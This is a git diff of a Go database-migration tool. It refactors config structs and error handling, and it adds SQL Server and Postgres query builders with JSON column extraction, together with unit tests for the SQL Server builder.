+	PostSQL   []string `yaml:"post_sql"`
+}
+
+type RangeConfig struct {
+	Min            *int64 `yaml:"min"`
+	Max            *int64 `yaml:"max"`
+	IsMinInclusive bool   `yaml:"is_min_inclusive"`
+	IsMaxInclusive bool   `yaml:"is_max_inclusive"`
 }
 
 type Job struct {
@@ -47,15 +79,8 @@ type Job struct {
 	Enabled     bool            `yaml:"enabled"`
 	SourceTable SourceTableInfo `yaml:"source"`
 	TargetTable TargetTableInfo `yaml:"target"`
-	PreSQL      []string        `yaml:"pre_sql"`
-	PostSQL     []string        `yaml:"post_sql"`
 	JobConfig   `yaml:",inline"`
-	Range       struct {
+	Range       RangeConfig `yaml:"range"`
-		Min            int64 `yaml:"min"`
-		Max            int64 `yaml:"max"`
-		IsMinInclusive bool  `yaml:"is_min_inclusive"`
-		IsMaxInclusive bool  `yaml:"is_max_inclusive"`
-	}
 }
 
 type MigrationConfig struct {
@@ -84,7 +109,7 @@ func (c *MigrationConfig) UnmarshalYAML(value *yaml.Node) error {
 	c.Defaults = raw.Defaults
 	c.SourceDbType = raw.SourceDbType
 	c.TargetDbType = raw.TargetDbType
-	c.Defaults.RowsPerPartition = int64(raw.Defaults.BatchSize * raw.Defaults.BatchesPerPartition)
+	c.Defaults.RowsPerPartition = int64(raw.Defaults.ExtractorBatchSize * raw.Defaults.BatchesPerPartition)
 
 	for _, node := range raw.Jobs {
 		job := Job{
@@ -95,7 +120,7 @@ func (c *MigrationConfig) UnmarshalYAML(value *yaml.Node) error {
 			return err
 		}
 
-		job.RowsPerPartition = int64(job.BatchSize * job.BatchesPerPartition)
+		job.RowsPerPartition = int64(job.ExtractorBatchSize * job.BatchesPerPartition)
 
 		c.Jobs = append(c.Jobs, job)
 	}

internal/app/custom_errors/backoff.go

@@ -1,12 +1,11 @@
 package custom_errors
 
 import (
-	"context"
 	"math/rand"
 	"time"
 )
 
-func computeBackoffDelay(retryCounter int, baseDelayMs int, maxDelayMs int, maxJitterMs int) time.Duration {
+func ComputeBackoffDelay(retryCounter int, baseDelayMs int, maxDelayMs int, maxJitterMs int) time.Duration {
 	if retryCounter < 0 {
 		retryCounter = 0
 	}
@@ -40,22 +39,3 @@ func computeBackoffDelay(retryCounter int, baseDelayMs int, maxDelayMs int, maxJ
 
 	return delay
 }
-
-func requeueWithBackoff(ctx context.Context, delay time.Duration, enqueue func()) {
-	if delay <= 0 {
-		enqueue()
-		return
-	}
-
-	go func() {
-		timer := time.NewTimer(delay)
-		defer timer.Stop()
-
-		select {
-		case <-ctx.Done():
-			return
-		case <-timer.C:
-			enqueue()
-		}
-	}()
-}

internal/app/custom_errors/loader.error.go

@@ -1,107 +0,0 @@
-package custom_errors
-
-import (
-	"context"
-	"fmt"
-	"sync"
-
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
-)
-
-type LoaderError struct {
-	Batch models.Batch
-	Msg   string
-}
-
-func (e *LoaderError) Error() string {
-	return e.Msg
-}
-
-func LoaderErrorHandler(
-	ctx context.Context,
-	retryConfig config.RetryConfig,
-	maxChunkErrors int,
-	chErrorsIn <-chan LoaderError,
-	chBatchesOut chan<- models.Batch,
-	chJobErrorsOut chan<- JobError,
-	wgActiveBatches *sync.WaitGroup,
-) {
-	definitiveErrors := 0
-
-	for {
-		if ctx.Err() != nil {
-			return
-		}
-
-		select {
-		case <-ctx.Done():
-			return
-
-		case err, ok := <-chErrorsIn:
-			if !ok {
-				return
-			}
-
-			if err.Batch.RetryCounter >= retryConfig.Attempts {
-				wgActiveBatches.Done()
-				definitiveErrors++
-				jobError := JobError{
-					ShouldCancelJob: false,
-					Msg:             fmt.Sprintf("Batch %v reached max retries (%d)", err.Batch.Id, retryConfig.Attempts),
-					Prev:            &err,
-				}
-
-				select {
-				case chJobErrorsOut <- jobError:
-				case <-ctx.Done():
-					return
-				}
-
-				if maxChunkErrors > 0 && definitiveErrors >= maxChunkErrors {
-					fatalError := JobError{
-						ShouldCancelJob: true,
-						Msg:             fmt.Sprintf("Chunk error limit reached (%d)", maxChunkErrors),
-						Prev:            &err,
-					}
-
-					select {
-					case chJobErrorsOut <- fatalError:
-					case <-ctx.Done():
-						return
-					}
-				}
-
-				continue
-			} else {
-				jobError := JobError{
-					ShouldCancelJob: false,
-					Msg:             fmt.Sprintf("Temporal error in batch %v (retries: %d)", err.Batch.Id, err.Batch.RetryCounter),
-					Prev:            &err,
-				}
-
-				select {
-				case chJobErrorsOut <- jobError:
-				case <-ctx.Done():
-					return
-				}
-			}
-
-			err.Batch.RetryCounter++
-			delay := computeBackoffDelay(
-				err.Batch.RetryCounter,
-				retryConfig.BaseDelayMs,
-				retryConfig.MaxDelayMs,
-				retryConfig.MaxJitterMs,
-			)
-
-			requeueWithBackoff(ctx, delay, func() {
-				select {
-				case chBatchesOut <- err.Batch:
-				case <-ctx.Done():
-					return
-				}
-			})
-		}
-	}
-}

internal/app/custom_errors/types.go

@@ -14,3 +14,12 @@ type ExtractorError struct {
 func (e *ExtractorError) Error() string {
 	return e.Msg
 }
+
+type LoaderError struct {
+	Batch models.Batch
+	Msg   string
+}
+
+func (e *LoaderError) Error() string {
+	return e.Msg
+}

internal/app/db-wrapper/db_dialects/main.go

@@ -0,0 +1,7 @@
+package db_dialects
+
+const (
+	SqlServer string = "sqlserver"
+	Postgres  string = "postgres"
+	Null      string = "null"
+)

internal/app/db-wrapper/mssql.go

@@ -4,13 +4,17 @@ import (
 	"context"
 	"database/sql"
 	"fmt"
+	"strings"
 
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	dbdialects "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper/db_dialects"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
 	mssql "github.com/microsoft/go-mssqldb"
 )
 
 func init() {
-	Register("sqlserver", func() DbWrapper {
+	Register(dbdialects.SqlServer, func() DbWrapper {
-		return &mssqlDbWrapper{dialect: "sqlserver"}
+		return &mssqlDbWrapper{dialect: dbdialects.SqlServer}
 	})
 }
 
@@ -174,3 +178,140 @@ func (mw *mssqlDbWrapper) SaveMassive(ctx context.Context, schema string, table
 
 	return rowsAffected, nil
 }
+
+func buildExtractQueryMssql(q ExtractionQuery) (string, error) {
+	var sbQuery strings.Builder
+
+	sbQuery.WriteString("SELECT ")
+
+	hasRegularColumns := len(q.Columns) > 0
+	hasJsonColumns := len(q.FromJsonColumns) > 0
+
+	resolvedJson := make(map[string][]config.FromJsonItem, len(q.FromJsonColumns))
+	if hasJsonColumns {
+		for _, jsonConfig := range q.FromJsonColumns {
+			actualColumnName, err := findColumnByPattern(q.Columns, jsonConfig.Column)
+			if err != nil {
+				return "", err
+			}
+			resolvedJson[actualColumnName] = append(resolvedJson[actualColumnName], jsonConfig)
+		}
+	}
+
+	selectParts := make([]string, 0, len(q.Columns)+len(q.FromJsonColumns))
+	if hasRegularColumns {
+		for _, col := range q.Columns {
+			jsonConfigs, isJsonColumn := resolvedJson[col.Name()]
+			if isJsonColumn {
+				for _, jsonConfig := range jsonConfigs {
+					jsonPath := buildJsonPathMssql(jsonConfig.Field)
+					jsonExpr := fmt.Sprintf("JSON_VALUE([%s], '%s') AS [%s]", col.Name(), jsonPath, col.Name())
+					selectParts = append(selectParts, jsonExpr)
+				}
+				continue
+			}
+
+			colExpr := fmt.Sprintf("[%s]", col.Name())
+			switch col.Type() {
+			case "GEOMETRY":
+				colExpr = fmt.Sprintf("[%s].STAsBinary() AS [%s]", col.Name(), col.Name())
+			}
+			selectParts = append(selectParts, colExpr)
+		}
+	} else if !hasJsonColumns {
+		selectParts = append(selectParts, "*")
+	}
+
+	for i, part := range selectParts {
+		sbQuery.WriteString(part)
+		if i < len(selectParts)-1 {
+			sbQuery.WriteString(", ")
+		}
+	}
+
+	fmt.Fprintf(&sbQuery, " FROM [%s].[%s]", q.Schema, q.Table)
+
+	if q.LowerLimit.IsValid || q.UpperLimit.IsValid {
+		sbQuery.WriteString(" WHERE ")
+
+		if q.LowerLimit.IsValid {
+			fmt.Fprintf(&sbQuery, "[%s]", q.PrimaryKey)
+			if q.LowerLimit.IsInclusive {
+				sbQuery.WriteString(" >=")
+			} else {
+				sbQuery.WriteString(" >")
+			}
+			sbQuery.WriteString(" @min")
+		}
+
+		if q.LowerLimit.IsValid && q.UpperLimit.IsValid {
+			sbQuery.WriteString(" AND ")
+		}
+
+		if q.UpperLimit.IsValid {
+			fmt.Fprintf(&sbQuery, "[%s]", q.PrimaryKey)
+			if q.UpperLimit.IsInclusive {
+				sbQuery.WriteString(" <=")
+			} else {
+				sbQuery.WriteString(" <")
+			}
+			sbQuery.WriteString(" @max")
+		}
+	}
+
+	fmt.Fprintf(&sbQuery, " ORDER BY [%s] ASC", q.PrimaryKey)
+
+	return sbQuery.String(), nil
+}
+
+func findColumnByPattern(columns []models.ColumnType, pattern string) (string, error) {
+	if pattern == "" {
+		return "", fmt.Errorf("column pattern cannot be empty")
+	}
+
+	if before, ok := strings.CutSuffix(pattern, "*"); ok {
+		prefix := before
+		for _, col := range columns {
+			if strings.HasPrefix(col.Name(), prefix) {
+				return col.Name(), nil
+			}
+		}
+		return "", fmt.Errorf("no column found matching pattern '%s'", pattern)
+	}
+
+	for _, col := range columns {
+		if col.Name() == pattern {
+			return col.Name(), nil
+		}
+	}
+	return "", fmt.Errorf("column '%s' not found in table columns", pattern)
+}
+
+func (mw *mssqlDbWrapper) QueryFromObject(ctx context.Context, q ExtractionQuery) (RowsResult, error) {
+	queryString, err := buildExtractQueryMssql(q)
+	if err != nil {
+		return nil, err
+	}
+
+	// logrus.Debugf("Query: %s", queryString)
+
+	var queryArgs []any
+
+	if q.LowerLimit.IsValid {
+		queryArgs = append(queryArgs, sql.Named("min", q.LowerLimit.Value))
+	}
+
+	if q.UpperLimit.IsValid {
+		queryArgs = append(queryArgs, sql.Named("max", q.UpperLimit.Value))
+	}
+
+	return mw.Query(ctx, queryString, queryArgs...)
+}
+
+func buildJsonPathMssql(field string) string {
+	if len(field) > 0 && field[0] == '.' {
+		field = field[1:]
+	}
+
+	return "$." + field
+}

internal/app/db-wrapper/mssql_test.go

@@ -0,0 +1,396 @@
+package dbwrapper
+
+import (
+	"strings"
+	"testing"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+)
+
+func TestBuildExtractQueryMssql_NoJsonColumns(t *testing.T) {
+	q := ExtractionQuery{
+		Schema:     "dbo",
+		Table:      "Users",
+		PrimaryKey: "ID",
+		Columns: []models.ColumnType{
+			models.NewColumnType("ID", false, false, "INT", "int", "INT", false, 0, 0, 0),
+			models.NewColumnType("Name", true, false, "VARCHAR", "varchar", "VARCHAR", true, 255, 0, 0),
+		},
+		FromJsonColumns: []config.FromJsonItem{},
+		LowerLimit:      ExtractorQueryLimit{IsValid: false},
+		UpperLimit:      ExtractorQueryLimit{IsValid: false},
+	}
+
+	query, err := buildExtractQueryMssql(q)
+	if err != nil {
+		t.Fatalf("Expected no error, got: %v", err)
+	}
+
+	if !strings.Contains(query, "SELECT [ID], [Name]") {
+		t.Errorf("Expected columns in query, got: %s", query)
+	}
+
+	if !strings.Contains(query, "FROM [dbo].[Users]") {
+		t.Errorf("Expected FROM clause, got: %s", query)
+	}
+
+	if !strings.Contains(query, "ORDER BY [ID] ASC") {
+		t.Errorf("Expected ORDER BY clause, got: %s", query)
+	}
+}
+
+func TestBuildExtractQueryMssql_WithJsonColumns_ExactColumnMatch(t *testing.T) {
+	// Test that the actual column name is used as alias, not a generated one
+	q := ExtractionQuery{
+		Schema:     "dbo",
+		Table:      "Events",
+		PrimaryKey: "EventID",
+		Columns: []models.ColumnType{
+			models.NewColumnType("EventID", false, false, "INT", "int", "INT", false, 0, 0, 0),
+			models.NewColumnType("EventData", true, false, "VARCHAR", "varchar", "VARCHAR", true, 500, 0, 0),
+		},
+		FromJsonColumns: []config.FromJsonItem{
+			{Column: "EventData", Field: ".userId"},
+			{Column: "EventData", Field: ".timestamp"},
+		},
+		LowerLimit: ExtractorQueryLimit{IsValid: false},
+		UpperLimit: ExtractorQueryLimit{IsValid: false},
+	}
+
+	query, err := buildExtractQueryMssql(q)
+	if err != nil {
+		t.Fatalf("Expected no error, got: %v", err)
+	}
+
+	if !strings.HasPrefix(query, "SELECT [EventID], JSON_VALUE([EventData], '$.userId') AS [EventData], JSON_VALUE([EventData], '$.timestamp') AS [EventData]") {
+		t.Errorf("Expected JSON columns to replace EventData in-order, got: %s", query)
+	}
+
+	if strings.Contains(query, "SELECT [EventID], [EventData]") {
+		t.Errorf("Expected EventData to be replaced by JSON extraction, got: %s", query)
+	}
+
+	// Alias should be exactly "EventData", not "EventData_userId"
+	if !strings.Contains(query, "JSON_VALUE([EventData], '$.userId') AS [EventData]") {
+		t.Errorf("Expected JSON alias to be [EventData], got: %s", query)
+	}
+
+	if !strings.Contains(query, "JSON_VALUE([EventData], '$.timestamp') AS [EventData]") {
+		t.Errorf("Expected JSON alias to be [EventData], got: %s", query)
+	}
+
+	// Should have comma separating them
+	if !strings.Contains(query, "JSON_VALUE([EventData], '$.userId') AS [EventData], JSON_VALUE([EventData], '$.timestamp') AS [EventData]") {
+		t.Errorf("Expected comma-separated JSON values, got: %s", query)
+	}
+}
+
+func TestBuildExtractQueryMssql_WithWildcardPattern(t *testing.T) {
+	// Test that wildcard pattern matching finds the correct column
+	q := ExtractionQuery{
+		Schema:     "dbo",
+		Table:      "Events",
+		PrimaryKey: "ID",
+		Columns: []models.ColumnType{
+			models.NewColumnType("ID", false, false, "INT", "int", "INT", false, 0, 0, 0),
+			models.NewColumnType("NodeMetadata", true, false, "VARCHAR", "varchar", "VARCHAR", true, 500, 0, 0),
+		},
+		FromJsonColumns: []config.FromJsonItem{
+			{Column: "NodeMeta*", Field: ".id"},
+		},
+		LowerLimit: ExtractorQueryLimit{IsValid: false},
+		UpperLimit: ExtractorQueryLimit{IsValid: false},
+	}
+
+	query, err := buildExtractQueryMssql(q)
+	if err != nil {
+		t.Fatalf("Expected no error, got: %v", err)
+	}
+
+	// Should find "NodeMetadata" from pattern "NodeMeta*" and use it as alias
+	if !strings.Contains(query, "JSON_VALUE([NodeMetadata], '$.id') AS [NodeMetadata]") {
+		t.Errorf("Expected to find and use NodeMetadata column by pattern, got: %s", query)
+	}
+
+	if strings.Contains(query, "SELECT [ID], [NodeMetadata]") {
+		t.Errorf("Expected NodeMetadata to be replaced by JSON extraction, got: %s", query)
+	}
+}
+
+func TestBuildExtractQueryMssql_ColumnNotFound_Error(t *testing.T) {
+	// Test that an error is returned when column is not found
+	q := ExtractionQuery{
+		Schema:     "dbo",
+		Table:      "Events",
+		PrimaryKey: "ID",
+		Columns: []models.ColumnType{
+			models.NewColumnType("ID", false, false, "INT", "int", "INT", false, 0, 0, 0),
+		},
+		FromJsonColumns: []config.FromJsonItem{
+			{Column: "NonExistentColumn", Field: ".id"},
+		},
+		LowerLimit: ExtractorQueryLimit{IsValid: false},
+		UpperLimit: ExtractorQueryLimit{IsValid: false},
+	}
+
+	query, err := buildExtractQueryMssql(q)
+	if err == nil {
+		t.Fatalf("Expected error for missing column, got no error. Query: %s", query)
+	}
+
+	if !strings.Contains(err.Error(), "NonExistentColumn") {
+		t.Errorf("Expected error message to contain column name, got: %v", err)
+	}
+}
+
+func TestBuildExtractQueryMssql_WildcardPatternNotMatched_Error(t *testing.T) {
+	// Test that an error is returned when wildcard pattern doesn't match any column
+	q := ExtractionQuery{
+		Schema:     "dbo",
+		Table:      "Events",
+		PrimaryKey: "ID",
+		Columns: []models.ColumnType{
+			models.NewColumnType("ID", false, false, "INT", "int", "INT", false, 0, 0, 0),
+			models.NewColumnType("EventData", true, false, "VARCHAR", "varchar", "VARCHAR", true, 500, 0, 0),
+		},
+		FromJsonColumns: []config.FromJsonItem{
+			{Column: "NonMatching*", Field: ".id"},
+		},
+		LowerLimit: ExtractorQueryLimit{IsValid: false},
+		UpperLimit: ExtractorQueryLimit{IsValid: false},
+	}
+
+	query, err := buildExtractQueryMssql(q)
+	if err == nil {
+		t.Fatalf("Expected error for non-matching wildcard pattern, got no error. Query: %s", query)
+	}
+
+	if !strings.Contains(err.Error(), "NonMatching*") {
+		t.Errorf("Expected error message to contain pattern, got: %v", err)
+	}
+}
+
+func TestBuildExtractQueryMssql_NestedJsonFields(t *testing.T) {
+	q := ExtractionQuery{
+		Schema:     "dbo",
+		Table:      "Data",
+		PrimaryKey: "ID",
+		Columns: []models.ColumnType{
+			models.NewColumnType("ID", false, false, "INT", "int", "INT", false, 0, 0, 0),
+			models.NewColumnType("NodeData", true, false, "VARCHAR", "varchar", "VARCHAR", true, 500, 0, 0),
+		},
+		FromJsonColumns: []config.FromJsonItem{
+			{Column: "NodeData", Field: ".user.name"},
+			{Column: "NodeData", Field: ".user.email"},
+		},
+		LowerLimit: ExtractorQueryLimit{IsValid: false},
+		UpperLimit: ExtractorQueryLimit{IsValid: false},
+	}
+
+	query, err := buildExtractQueryMssql(q)
+	if err != nil {
+		t.Fatalf("Expected no error, got: %v", err)
+	}
+
+	if !strings.Contains(query, "JSON_VALUE([NodeData], '$.user.name') AS [NodeData]") {
+		t.Errorf("Expected nested JSON path for user.name, got: %s", query)
+	}
+
+	if !strings.Contains(query, "JSON_VALUE([NodeData], '$.user.email') AS [NodeData]") {
+		t.Errorf("Expected nested JSON path for user.email, got: %s", query)
+	}
+
+	if strings.Contains(query, "SELECT [ID], [NodeData]") {
+		t.Errorf("Expected NodeData to be replaced by JSON extraction, got: %s", query)
+	}
+}
+
+func TestBuildExtractQueryMssql_WithRangeLimits(t *testing.T) {
+	q := ExtractionQuery{
+		Schema:     "dbo",
+		Table:      "Products",
+		PrimaryKey: "ProductID",
+		Columns: []models.ColumnType{
+			models.NewColumnType("ProductID", false, false, "INT", "int", "INT", false, 0, 0, 0),
+			models.NewColumnType("Details", true, false, "VARCHAR", "varchar", "VARCHAR", true, 500, 0, 0),
+		},
+		FromJsonColumns: []config.FromJsonItem{
+			{Column: "Details", Field: ".price"},
+		},
+		LowerLimit: ExtractorQueryLimit{IsValid: true, IsInclusive: true, Value: 100},
+		UpperLimit: ExtractorQueryLimit{IsValid: true, IsInclusive: false, Value: 500},
+	}
+
+	query, err := buildExtractQueryMssql(q)
+	if err != nil {
+		t.Fatalf("Expected no error, got: %v", err)
+	}
+
+	if !strings.Contains(query, "WHERE [ProductID] >= @min") {
+		t.Errorf("Expected WHERE clause with >=, got: %s", query)
+	}
+
+	if !strings.Contains(query, "[ProductID] < @max") {
+		t.Errorf("Expected upper limit with <, got: %s", query)
+	}
+
+	if !strings.Contains(query, "JSON_VALUE([Details], '$.price') AS [Details]") {
+		t.Errorf("Expected JSON_VALUE for Details, got: %s", query)
+	}
+
+	if strings.Contains(query, "SELECT [ProductID], [Details]") {
+		t.Errorf("Expected Details to be replaced by JSON extraction, got: %s", query)
+	}
+}
+
+func TestBuildJsonPathMssql(t *testing.T) {
+	tests := []struct {
+		input    string
+		expected string
+	}{
+		{".id", "$.id"},
+		{"id", "$.id"},
+		{".user.name", "$.user.name"},
+		{"user.name", "$.user.name"},
+		{".location.coordinates.lat", "$.location.coordinates.lat"},
+		{"", "$."},
+	}
+
+	for _, tt := range tests {
+		result := buildJsonPathMssql(tt.input)
+		if result != tt.expected {
+			t.Errorf("buildJsonPathMssql(%q) = %q, want %q", tt.input, result, tt.expected)
+		}
+	}
+}
+
+func TestFindColumnByPattern_ExactMatch(t *testing.T) {
+	columns := []models.ColumnType{
+		models.NewColumnType("ID", false, false, "INT", "int", "INT", false, 0, 0, 0),
+		models.NewColumnType("Metadata", true, false, "VARCHAR", "varchar", "VARCHAR", true, 500, 0, 0),
+		models.NewColumnType("EventData", true, false, "VARCHAR", "varchar", "VARCHAR", true, 500, 0, 0),
+	}
+
+	result, err := findColumnByPattern(columns, "Metadata")
+	if err != nil {
+		t.Fatalf("Expected no error, got: %v", err)
+	}
+
+	if result != "Metadata" {
+		t.Errorf("Expected 'Metadata', got '%s'", result)
+	}
+}
+
+func TestFindColumnByPattern_WildcardMatch(t *testing.T) {
+	columns := []models.ColumnType{
+		models.NewColumnType("ID", false, false, "INT", "int", "INT", false, 0, 0, 0),
+		models.NewColumnType("NodeMetadata", true, false, "VARCHAR", "varchar", "VARCHAR", true, 500, 0, 0),
+		models.NewColumnType("EventData", true, false, "VARCHAR", "varchar", "VARCHAR", true, 500, 0, 0),
+	}
+
+	result, err := findColumnByPattern(columns, "NodeMeta*")
+	if err != nil {
+		t.Fatalf("Expected no error, got: %v", err)
+	}
+
+	if result != "NodeMetadata" {
+		t.Errorf("Expected 'NodeMetadata', got '%s'", result)
+	}
+}
+
+func TestFindColumnByPattern_NotFound(t *testing.T) {
+	columns := []models.ColumnType{
+		models.NewColumnType("ID", false, false, "INT", "int", "INT", false, 0, 0, 0),
+		models.NewColumnType("Metadata", true, false, "VARCHAR", "varchar", "VARCHAR", true, 500, 0, 0),
+	}
+
+	result, err := findColumnByPattern(columns, "NonExistent")
+	if err == nil {
+		t.Fatalf("Expected error, got no error. Result: %s", result)
+	}
+
+	if !strings.Contains(err.Error(), "NonExistent") {
+		t.Errorf("Expected error to contain column name, got: %v", err)
+	}
+}
+
+func TestFindColumnByPattern_WildcardNotFound(t *testing.T) {
+	columns := []models.ColumnType{
+		models.NewColumnType("ID", false, false, "INT", "int", "INT", false, 0, 0, 0),
+		models.NewColumnType("Metadata", true, false, "VARCHAR", "varchar", "VARCHAR", true, 500, 0, 0),
+	}
+
+	result, err := findColumnByPattern(columns, "Event*")
+	if err == nil {
+		t.Fatalf("Expected error, got no error. Result: %s", result)
+	}
+
+	if !strings.Contains(err.Error(), "Event*") {
+		t.Errorf("Expected error to contain pattern, got: %v", err)
+	}
+}
+
+func TestBuildExtractQueryMssql_OnlyJsonColumns(t *testing.T) {
+	// Test when all columns are used via JSON extraction
+	q := ExtractionQuery{
+		Schema:     "dbo",
+		Table:      "Data",
+		PrimaryKey: "ID",
+		Columns: []models.ColumnType{
+			models.NewColumnType("ID", false, false, "INT", "int", "INT", false, 0, 0, 0),
+			models.NewColumnType("JsonData", true, false, "VARCHAR", "varchar", "VARCHAR", true, 500, 0, 0),
+		},
+		FromJsonColumns: []config.FromJsonItem{
+			{Column: "JsonData", Field: ".field1"},
+		},
+		LowerLimit: ExtractorQueryLimit{IsValid: false},
+		UpperLimit: ExtractorQueryLimit{IsValid: false},
+	}
+
+	query, err := buildExtractQueryMssql(q)
+	if err != nil {
+		t.Fatalf("Expected no error, got: %v", err)
+	}
+
+	if !strings.HasPrefix(query, "SELECT [ID], JSON_VALUE([JsonData], '$.field1') AS [JsonData]") {
+		t.Errorf("Expected JsonData to be replaced by JSON extraction, got: %s", query)
+	}
+
+	if strings.Contains(query, "SELECT [ID], [JsonData]") {
+		t.Errorf("Expected JsonData to be excluded from raw selection, got: %s", query)
+	}
+}
+
+func TestBuildExtractQueryMssql_JsonColumnsReplaceInOrder(t *testing.T) {
+	q := ExtractionQuery{
+		Schema:     "dbo",
+		Table:      "Users",
+		PrimaryKey: "UserID",
+		Columns: []models.ColumnType{
+			models.NewColumnType("UserID", false, false, "INT", "int", "INT", false, 0, 0, 0),
+			models.NewColumnType("Name", true, false, "VARCHAR", "varchar", "VARCHAR", false, 255, 0, 0),
+			models.NewColumnType("Email", true, false, "VARCHAR", "varchar", "VARCHAR", false, 255, 0, 0),
+			models.NewColumnType("Metadata", true, false, "NVARCHAR", "nvarchar", "NVARCHAR", true, 4000, 0, 0),
+			models.NewColumnType("Profile", true, false, "NVARCHAR", "nvarchar", "NVARCHAR", true, 4000, 0, 0),
+			models.NewColumnType("Settings", true, false, "NVARCHAR", "nvarchar", "NVARCHAR", true, 4000, 0, 0),
+		},
+		FromJsonColumns: []config.FromJsonItem{
+			{Column: "Metadata", Field: ".id"},
+			{Column: "Profile", Field: ".id"},
+			{Column: "Settings", Field: ".id"},
+		},
+		LowerLimit: ExtractorQueryLimit{IsValid: false},
+		UpperLimit: ExtractorQueryLimit{IsValid: false},
+	}
+
+	query, err := buildExtractQueryMssql(q)
+	if err != nil {
+		t.Fatalf("Expected no error, got: %v", err)
+	}
+
+	expected := "SELECT [UserID], [Name], [Email], JSON_VALUE([Metadata], '$.id') AS [Metadata], JSON_VALUE([Profile], '$.id') AS [Profile], JSON_VALUE([Settings], '$.id') AS [Settings] FROM [dbo].[Users] ORDER BY [UserID] ASC"
+	if query != expected {
+		t.Errorf("Unexpected query.\nExpected: %s\nGot: %s", expected, query)
+	}
+}

internal/app/db-wrapper/postgres.go

@@ -3,14 +3,17 @@ package dbwrapper
 import (
 	"context"
 	"errors"
+	"fmt"
+	"strings"
 
+	dbdialects "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper/db_dialects"
 	"github.com/jackc/pgx/v5"
 	"github.com/jackc/pgx/v5/pgxpool"
 )
 
 func init() {
-	Register("postgres", func() DbWrapper {
+	Register(dbdialects.Postgres, func() DbWrapper {
-		return &postgresDbWrapper{dialect: "postgres"}
+		return &postgresDbWrapper{dialect: dbdialects.Postgres}
 	})
 }
 
@@ -126,3 +129,75 @@ func (pw *postgresDbWrapper) SaveMassive(ctx context.Context, schema string, tab
 
 	return affectedRows, nil
 }
+
+func (pw *postgresDbWrapper) QueryFromObject(ctx context.Context, q ExtractionQuery) (RowsResult, error) {
+	var sbQuery strings.Builder
+
+	sbQuery.WriteString("SELECT ")
+
+	if len(q.Columns) == 0 {
+		sbQuery.WriteString("*")
+	} else {
+		for i, col := range q.Columns {
+			switch col.Type() {
+			case "GEOMETRY":
+				fmt.Fprintf(&sbQuery, `ST_AsEWKB("%s") AS "%s"`, col.Name(), col.Name())
+			default:
+				fmt.Fprintf(&sbQuery, `"%s"`, col.Name())
+			}
+
+			if i < len(q.Columns)-1 {
+				sbQuery.WriteString(", ")
+			}
+		}
+	}
+
+	fmt.Fprintf(&sbQuery, ` FROM "%s"."%s"`, q.Schema, q.Table)
+
+	if q.LowerLimit.IsValid || q.UpperLimit.IsValid {
+		sbQuery.WriteString(" WHERE ")
+		paramIdx := 1
+
+		if q.LowerLimit.IsValid {
+			fmt.Fprintf(&sbQuery, `"%s"`, q.PrimaryKey)
+			if q.LowerLimit.IsInclusive {
+				sbQuery.WriteString(" >=")
+			} else {
+				sbQuery.WriteString(" >")
+			}
+			fmt.Fprintf(&sbQuery, " $%d", paramIdx)
+			paramIdx++
+		}
+
+		if q.LowerLimit.IsValid && q.UpperLimit.IsValid {
+			sbQuery.WriteString(" AND ")
+		}
+
+		if q.UpperLimit.IsValid {
+			fmt.Fprintf(&sbQuery, `"%s"`, q.PrimaryKey)
+			if q.UpperLimit.IsInclusive {
+				sbQuery.WriteString(" <=")
+			} else {
+				sbQuery.WriteString(" <")
+			}
+			fmt.Fprintf(&sbQuery, " $%d", paramIdx)
+			paramIdx++
+		}
+	}
+
+	fmt.Fprintf(&sbQuery, ` ORDER BY "%s" ASC`, q.PrimaryKey)
+
+	queryString := sbQuery.String()
+
+	var queryArgs []any
+
+	if q.LowerLimit.IsValid {
+		queryArgs = append(queryArgs, q.LowerLimit.Value)
+	}
+
+	if q.UpperLimit.IsValid {
+		queryArgs = append(queryArgs, q.UpperLimit.Value)
+	}
+
+	return pw.Query(ctx, queryString, queryArgs...)
+}

internal/app/db-wrapper/types.go

@@ -3,6 +3,9 @@ package dbwrapper
 import (
 	"context"
 	"errors"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
 )
 
 var MethodNotSupported error = errors.New("Method not supported by driver... yet :P")
@@ -24,6 +27,22 @@ type RowResult interface {
 	Scan(dest ...any) error
 }
 
+type ExtractorQueryLimit struct {
+	IsValid     bool
+	IsInclusive bool
+	Value       int64
+}
+
+type ExtractionQuery struct {
+	Schema          string
+	Table           string
+	PrimaryKey      string
+	Columns         []models.ColumnType
+	LowerLimit      ExtractorQueryLimit
+	UpperLimit      ExtractorQueryLimit
+	FromJsonColumns []config.FromJsonItem
+}
+
 type DbWrapper interface {
 	Close() error
 	Connect(ctx context.Context, dbUrl string) error
@@ -32,4 +51,5 @@ type DbWrapper interface {
 	Query(ctx context.Context, query string, args ...any) (RowsResult, error)
 	QueryRow(ctx context.Context, query string, args ...any) RowResult
 	SaveMassive(ctx context.Context, schema string, table string, columnNames []string, rows [][]any) (int64, error)
+	QueryFromObject(ctx context.Context, query ExtractionQuery) (RowsResult, error)
 }

internal/app/etl/extractors/consume.go

@@ -10,21 +10,23 @@ import (
 
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
+	"github.com/sirupsen/logrus"
 )
 
-func Consume(
+func (ex *GenericExtractor) Consume(
 	ctx context.Context,
-	extractor etl.Extractor,
 	tableInfo config.SourceTableInfo,
 	columns []models.ColumnType,
 	batchSize int,
+	retryConfig config.RetryConfig,
 	chPartitionsIn <-chan models.Partition,
 	chBatchesOut chan<- models.Batch,
 	chErrorsOut chan<- custom_errors.JobError,
 	wgActivePartitions *sync.WaitGroup,
 	rowsRead *int64,
+	failedPartitionsCount *int32,
+	fromJsonColumns []config.FromJsonItem,
 ) {
 	indexPrimaryKey := slices.IndexFunc(columns, func(col models.ColumnType) bool {
 		return strings.EqualFold(col.Name(), tableInfo.PrimaryKey)
@@ -39,6 +41,7 @@ func Consume(
